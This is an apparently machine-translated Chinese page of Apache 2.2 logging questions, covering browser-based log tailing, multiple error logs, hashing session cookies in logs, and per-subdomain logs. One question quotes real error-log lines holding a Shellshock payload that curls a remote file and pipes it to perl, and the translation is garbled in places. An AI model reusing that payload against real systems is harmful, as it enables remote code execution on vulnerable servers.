Articles of apache 2.2日志logging

“tail -f”风格的web应用程序

我一直在寻找一个小的functionPHP脚本或类似的,我可以通过Apache公开。 基本上我想要什么“tail -f / var / log / something”,但通过Web浏览器可见。 我find了各种解决scheme,但是其中大部分都是在类似于引擎盖下的“尾部-10”的情况下运行的 – 如果日志在写入过程中“很慢”,这很好,正如您可以想象的那样,数据可以在轮询之间“丢失”写了超过这一行数的尝试。 有什么轻量级的满足我在找什么? 像Splunk这样的东西超出了我所需要或想要的。

Apache的多个error_log位置

有没有一种方法可以在Apacheconfiguration中定义多个Error_Log位置(在两个或多个日志文件/pipe道中logging相同的错误),还是必须使用pipe道和自定义脚本才能使其工作?

Apache日志中奇怪的HTTP请求

我在apache日志中发现了一些奇怪的HTTP请求,但我不确定是否应该关心他们。 [Sun Nov 02 19:45:43 2014] [error] [client 80.82.64.122] script not found or unable to stat: /usr/lib/cgi-bin/bizdb1-search.cgi, referer: () { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl [Sun Nov 02 19:45:43 2014] [error] [client 80.82.64.122] script not found or unable to stat: /usr/lib/cgi-bin/bigconf.cgi, referer: () { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl [Sun Nov 02 19:45:43 […]

如何使用Apache HTTPDlogging会话cookie的散列?

所以,我想在Apache日志中logging相当于会话cookie(称为session_id )的信息。 我不想简单地把cookie放在日志格式( %{sid}i )中,因为日志文件的破坏会导致会话劫持。 在我看来,最合理的想法是logging会话cookie的散列。 什么是最好的方式来实现呢? 是的,散列可以在第二个cookie中设置,与会话cookie相同,但是依赖于在每个请求上validation散列,或者信任客户端不会修改第二个cookie – 我宁愿哈希计算在服务器端完成,而不需要传送给客户端; 是的,我非常肯定可以写一个Apache模块,例如,在每个请求上随时添加一个环境variables,但是我有点担心这样做,因为我缺乏必要的专业知识; 编辑 :虽然依赖于版本的Apache 2.4中引入的function的答案将是翔实的,我个人需要一个答案,将在2.2上工作,因为我不负责服务器的升级。

每个子域有不同的Apache日志文件?

是否可以configurationApache为每个子域使用不同的日志文件,即使所有的子域都在同一个VirtualHost容器中? 所以,我只有一个VirtualHost: <VirtualHost *:80> ServerName example.com ServerAlias test1.example.com test2.example.com test3.example.com </VirtualHost> 我想结束以下日志文​​件: /var/log/httpd-access_test1.log /var/log/httpd-access_test2.log /var/log/httpd-access_test3.log 我知道我可以用自定义日志格式和分割日志来做到这一点,但是我想知道是否有办法让Apache为我做。

Apache日志 – 不显示请求的URL或用户IP

我遇到了一个服务器,一直在摔倒的问题。 通过Apache错误日志看起来似乎来自stream氓PHP脚本。 我试图用Apache的error_log和access_log跟踪这个,但服务器日志格式并没有给我我需要的细节。 我怀疑日志格式是不够的,但我已经审查了Apache的文档,我已经包括了我认为我需要看到的交换机。 这是我在httpd.conf文件中的LogFormatconfiguration: `LogFormat'%h%l%u%t \“%r \”%s%b%U%q%T \“%{Referer} i \”\“%{User-Agent} i \”“extended CustomLog logs / access_log extended` 使用%U%q%T开关,我期望看到请求的URL,查询string和服务请求所用的时间,但是当我尾日志时我没有看到任何这些信息。 这是一个例子: “选项* HTTP / 1.0”200 – * 0“ – ”“Apache / 2.2.15(Unix)mod_ssl / 2.2.15 OpenSSL / 0.9.8e-fips-rhel5 mod_bwlimited / 1.4(内部虚拟连接)“127.0.0.1 – – [01 / Jun / 2010:14:12:05 +0100]”选项* HTTP / 1.0“200 – * 0” – “ […]

停止Apache将重复的日志条目写入access_log

我有以下关于我的apache虚拟主机文件中的login行 SetEnvIf Request_URI "^/server-status$" dontlog SetEnvIf Request_URI "^/haproxy-status$" dontlog SetEnvIf Request_Method "OPTIONS" dontlog CustomLog /var/log/apache2/access_log combined env=!dontlog #ErrorLog /var/log/apache2/error_log #Remote logging — handle by syslog ErrorLog "|logger -p local3.info -t httperror" CustomLog "|logger -p local3.info -t http" combined env=!dontlog LogLevel warn 我真的不想把任何东西搞乱,因为我不会在那里得到正确的日志,但是我不想看到每个条目都有重复的行。 目前,如果我提出一个请求,我会看到apache的一行,然后我认为其中一行是haproxy转发给我的应用程序,类似这样: aa.bbb.ccc.dd – – [05/Oct/2010:02:29:51 +0000] "GET /the_url HTTP/1.1" 200 4 "-" "-" […]

apache2日志如何工作多个实例

apache2是否支持access_log和error_log的同步日志? apache2中的日志如何工作多个实例? 如果多个实例同时写入,它是否会locking条件? 提前致谢。

中央apache日志分析许多主机

我们有30多个apache httpd服务器,并且正在寻求对历史趋势和接近“实时”监视/警报的日志执行分析。 我主要关心错误率(4xx / 5xx),响应时间,整体请求率等,但是也可以推出更多的计算密集型统计信息,如每个单元的唯一客户端IP和用户代理时间。 我倾向于将其作为集中式收集器/服务器/存储设备来构build,同时也考虑将非apache日志(即常规syslog,防火墙日志等)存储在同一个系统中的可能性。 显然这其中很大一部分可能是自定义的(至less是片断之间的连接和我们所做的parsing/分析之间的联系),但是我至less没有能够find有关这样做的人的很多信息,至less在小于Google / Facebook /等的商店。 谁可以把他们的日志数据放到一个百个节点的计算集群中,然后运行Map / Reduce。 我正在寻找的主要事情是: 所有开源 从apache机器收集日志的方法不是太耗费资源,而是通过networking相对快速地传输 在后端存储它们的一些方法(NoSQL?键值存储?),在给定的时间内(然后将它们转换为历史平均值) 在这个过程中,一种几乎实时的绘图方法(可能还有一些统计分析),并希望能够提醒这些图表。 任何build议/指针/想法,要么是“产品”/项目或其他人如何做这些描述将是非常有帮助的。 不幸的是,我们并不完全是一个新兴的开发商店,很多旧的东西,同质化的基础设施和紧张的盒子。

Apache – 将url过滤到单独的日志文件中

使用apache,是否可以根据URL将日志请求过滤为单独的文件? 举个例子: 127.0.0.1 – – [08/Apr/2013:17:06:26 +0100] "GET /this/is/a/url.html HTTP/1.1" 200 67486 将这个特定的URLlogging到access_log_first和其他所有内容到另一个日志文件中? 我做了一点研究,看来我可以使用像SetEnvIf这样的东西,但不知道如何设置它。 任何人都可以帮忙吗? 我意识到这是一个奇怪的要求,在正常情况下,我会运行我需要logging在一个单独的子域的URL例如。